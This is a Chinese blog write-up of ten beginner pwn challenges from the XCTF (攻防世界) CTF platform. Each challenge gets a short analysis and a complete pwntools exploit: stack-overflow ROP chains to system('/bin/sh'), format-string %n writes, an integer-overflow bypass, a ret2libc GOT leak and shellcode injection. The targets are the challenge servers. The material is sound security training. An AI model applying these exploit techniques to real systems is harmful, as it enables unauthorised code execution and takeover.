【pwn】攻防世界 pwn新手区wp

【pwn】攻防世界 pwn新手区wp

前言

这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了。

【pwn】攻防世界 pwn新手区wp

1、get_shell

送分题,连接上去就是/bin/sh

【pwn】攻防世界 pwn新手区wp

不过不知道为啥我的nc连接不上。。。

还是用pwntool的remote连接的

from pwn import *

io = remote("111.200.241.244", 64209)
io.interactive()

2、hello pwn

【pwn】攻防世界 pwn新手区wp

【pwn】攻防世界 pwn新手区wp

可以看到read写入的是0x601068地址的数据,而下面的if语句判断的是0x60106C地址的数据是否为1853186401

由于这两个位置在内存中就是+4字节的关系,所以我们可以在read的过程中实现覆盖

from pwn import *

io = remote("111.200.241.244", 49847)

payload = b"bi0x" + p64(1853186401)

io.sendline(payload)
io.interactive()

3、level0

【pwn】攻防世界 pwn新手区wp

main函数中会跳转到一个vulnerable_function

【pwn】攻防世界 pwn新手区wp

一看就是明显的栈溢出,然后rsp距离rbp的距离为0x80,所以直接覆盖就行了,在覆盖掉8字节的ret addr

此外值得一提的是,64位程序中,函数的前6个参数分别由rdi、rsi、rdx、rcx、r8、r9存放的,之后的参数存放在栈中。

所以这里我们将/bin/sh存入edi中,这样system函数的第一个参数就是/bin/sh了

【pwn】攻防世界 pwn新手区wp

from pwn import *

io = remote("111.200.241.244",54678)
elf = ELF("./xctf3") binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663 payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr) io.sendafter("Hello, World\n",payload)
io.interactive()

4、level2

【pwn】攻防世界 pwn新手区wp

终于来了个32位的-。-

拖入32位ida中分析,main函数中有一个vulnerable_function函数,步入分析

【pwn】攻防世界 pwn新手区wp

明显的栈溢出

【pwn】攻防世界 pwn新手区wp

我们在shift+f12中看到了/bin/sh的地址

【pwn】攻防世界 pwn新手区wp

所以直接给出exp

from pwn import *

io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4") system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh")) payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr) io.send(payload)
io.interactive()

5、string

【pwn】攻防世界 pwn新手区wp

canary开启,所以栈溢出是没戏

看题目string(字符串),那么可能是格式化字符串了

拖入64位ida中分析

【pwn】攻防世界 pwn新手区wp

首先分析main函数,告诉我们有两个关键的指针地址,分别是v4[0]额v4[1]的地址,然后进入sub_400D72这个函数,传入的参数是v4[0]]这个指针

【pwn】攻防世界 pwn新手区wp

分析sub_400D72这个函数

首先叫我们输入一个用户名,然后判断这个用户名是否大于12,如果大于12长度那么结束

所以我们输入一个小于12长度的username

然后就是三个函数等着我们,sub_400A7D、sub_400BB9、sub_400CA6,我们一个个分析

【pwn】攻防世界 pwn新手区wp

首先来看sub_400A7D

输出可以看,首先叫我们选择方向east or up?

看到下面的strcmp判断,只能选择east跳出循环

然后来到下面的if,因为是east,所以直接结束执行了(不懂这个判断有啥必要。。?s1改为up大可不必)

【pwn】攻防世界 pwn新手区wp

然后是sub_400BB9

puts的也不用看,叫我们选择1or0,选1才能继续

告诉我们输入一个16字节的大小的地址

然后再输入一个wish,然后printf这个wish

很明显的格式化字符串

所以到这里就知道需要测试偏移量了

【pwn】攻防世界 pwn新手区wp

随后一个sub_400CA6(a1)

传入了a1这个参数,a1是啥,我们首先回到sub_400D72【pwn】攻防世界 pwn新手区wp

sub_400D72传入了v4这个指针的地址,而sub_400D72这个函数的参数是a1

【pwn】攻防世界 pwn新手区wp

所以我们可以得到下图这个关键的if语句中的a1就是v4的地址,如果相等那么就mmap分配一个内存大小为0x1000的区域v1,然后我们可以向v1中写入0x100大小的数据

这里就可以想到写入一段amd64的shellcode来获取shell

【pwn】攻防世界 pwn新手区wp

需要我们将a1[0]和a1[1]相等,也就是v4[0] = v4[1]

我们如何将v4[0]赋值位85呢,利用格式化字符串!

【pwn】攻防世界 pwn新手区wp

在刚刚出现的printf中,我们先测量偏移量

【pwn】攻防世界 pwn新手区wp

我们输入的address是1,而这个0x1再printf中出现的是第8个,也就是printf的第8个参数,也就是第7个格式化字符串的参数,所以偏移量是7

所以格式化字符串只需要"a"*85+"%7$n",前面写85字节的字符串,然后传给第7个参数,这个第7个参数就是我们的v4[0]指针地址(在前面的程序开始puts的)

所以构建exp

from pwn import *

io = remote("111.200.241.244",55215)

io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()

6、guess_num

【pwn】攻防世界 pwn新手区wp

保护基本都开了,看这个题目就知道是猜数字

拖入ida中分析

先看main函数

【pwn】攻防世界 pwn新手区wp

首先输入username

然后给了一个以seed[0]为种子的随机数

然后for循环猜测10次数字

全对给flag

我们需要做的就是劫持seed[0],把它改为我们想要的数字,然后有了种子,模拟和它一样的随机数

这里我们看看v7地址

【pwn】攻防世界 pwn新手区wp

再看看seed[0]的地址

【pwn】攻防世界 pwn新手区wp

相差20

我们知道函数参数是逆序压入栈中,所以第一个参数的地址最低,这样我们就可以通过gets函数覆盖掉seed[0]的值,偏移量为0x20

exp如下

这里的from ctypes import *是导入c语言库函数的一个库

这样我们就可以使用srand函数了

from pwn import *
from ctypes import * io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload) for i in range(10):
io.sendlineafter("number:",str(libc.rand()%6+1)) io.interactive()

7、int_overflow

【pwn】攻防世界 pwn新手区wp

又是为数不多的x86

拖入32位ida中分析

查看所有字符串,发现cat flag

【pwn】攻防世界 pwn新手区wp

看main函数

【pwn】攻防世界 pwn新手区wp

叫我们选择1or2,选1进入login,选2退出。所以选1。

步入login()函数中分析

【pwn】攻防世界 pwn新手区wp

首先读取0x19长度的username,这么点长度栈溢出肯定没用

然后读取0x199的passwd,这里栈溢出有戏,但是看了看buf和ebp的距离,0x228,我们只能读入0x199长度,所以还是覆盖不了

把希望寄托于下面的check_passwd函数,传入参数为我们刚刚写入的buf

【pwn】攻防世界 pwn新手区wp

首先v3是一个无符号的8位数,也是我们刚刚输入的buf的长度,如果v3<= 3u(这里的u指的是unsigned,也就是无符号数,也就是011),或者v3 > 8u(也就是11111111,10进制中的255),那么这样我们输入的buf就判断为无效

如何让这个判断成为true呢?与题目中的int_overflow息息相关!

因为strlen()的返回值是一个int,4字节长度,也就是8位,如果我们的buf长度大于255会发生什么呢?

例如我们的buf的长度为263,二进制就是1 0000 0111,会被strlen读取为0000 0111,那么这个111>011,并且111<11111111,这样就成功绕过

最后再strcpy中实现dest的栈溢出,dest距离ebp距离为0x14,所以构建exp

from pwn import *

io = remote("111.200.241.244",57657)
elf = ELF("./xctf7") io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale") cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload))) io.sendlineafter("passwd:",payload)
io.interactive()

8、cgpwn2

【pwn】攻防世界 pwn新手区wp

为数不多的x86

拖入32位ida中

先看所有字符串,没有后门

【pwn】攻防世界 pwn新手区wp

分析main函数

【pwn】攻防世界 pwn新手区wp

清除缓冲区,然后进入hello函数。没啥好看的

我们直接步入hello函数()

【pwn】攻防世界 pwn新手区wp

前面这么多数字计算,看的眼花缭乱,但是这些都没啥用,我们要的是gets函数的栈溢出,gets中输入s变量,s距离epb为0x26

这可以看到我们再fget中标准输入的东西存入了name这个变量中,我们是不是可以在name中存放一个/bin/sh或者cat flag,然后在下面gets函数中调用system(name),这样就获取了权限

直接看name的地址,在bss段的0x0804A080

【pwn】攻防世界 pwn新手区wp

那么直接构建exp

from pwn import *

io = remote("111.200.241.244",49222)
elf = ELF("./xctf8") system_plt = elf.plt["system"]
binsh_addr = 0x0804A080 io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()

9、level3

【pwn】攻防世界 pwn新手区wp

还是x86,拖入ida

题目还给了个libc,一看就是ret2libc3

先看字符串,肯定是没有system的plt地址和后门的

【pwn】攻防世界 pwn新手区wp

main函数中有用的就是这个vulneravle_function函数

【pwn】攻防世界 pwn新手区wp

有个gets的栈溢出

【pwn】攻防世界 pwn新手区wp

这里需要了解动态连接的知识点

第一次调用一个函数,比如write(),write.plt会去找write.got索要write的真实地址,但是write.got不知道,所以让write.plt自己去找,然后write.plt自己找到了,将这个地址放在了write.got表中

第二次调用,write.plt会直接去找write.got,这个时候因为got表中存放了write的真实地址,所以直接给了write.plt,所以直接指向了write的真实地址

这是前置知识,不明白的去ctf-wiki的ret2libc3中恶补一下

这题我们需要的就是通过write可以写数据到控制台中,将write的got表地址中存储的write的真实地址输出,然后通过题目给的libc文件,得到libc的基地址,然后根据基地址去寻找system函数和/bin/sh的真实地址

我们第一次调用的时候,先执行write函数,将write的got表中存储的真实地址打印出来,然后执行_start函数,让程序再次运行

第二次程序运行,我们得到了system和bin/sh的地址,直接调用就okk了

from pwn import *

io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9") write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"] payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload) write_true_addr = u32(io.recv(4)) libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh")) payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()

10、CGfsb

【pwn】攻防世界 pwn新手区wp

还是32位,拖入ida中分析

看main函数

【pwn】攻防世界 pwn新手区wp

直接看到了格式化字符串

只要我们的pwnme这个变量值为8,那么我们就可以cat flag

首先测试偏移量

【pwn】攻防世界 pwn新手区wp

测得偏移量为10

那么直接写exp

from pwn import *

io = remote("111.200.241.244",53590)

pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + b"bi0x%10$n"

io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()

这里的pwnme需要的值是8,而我们输入的地址是4字节的,所以前面还需要4个char字符,这样4 + 4 = 8,我们的pwnme就可以赋值为8

上一篇:PHP内核探索之变量(3)- hash table


下一篇:BZOJ 1088 扫雷Mine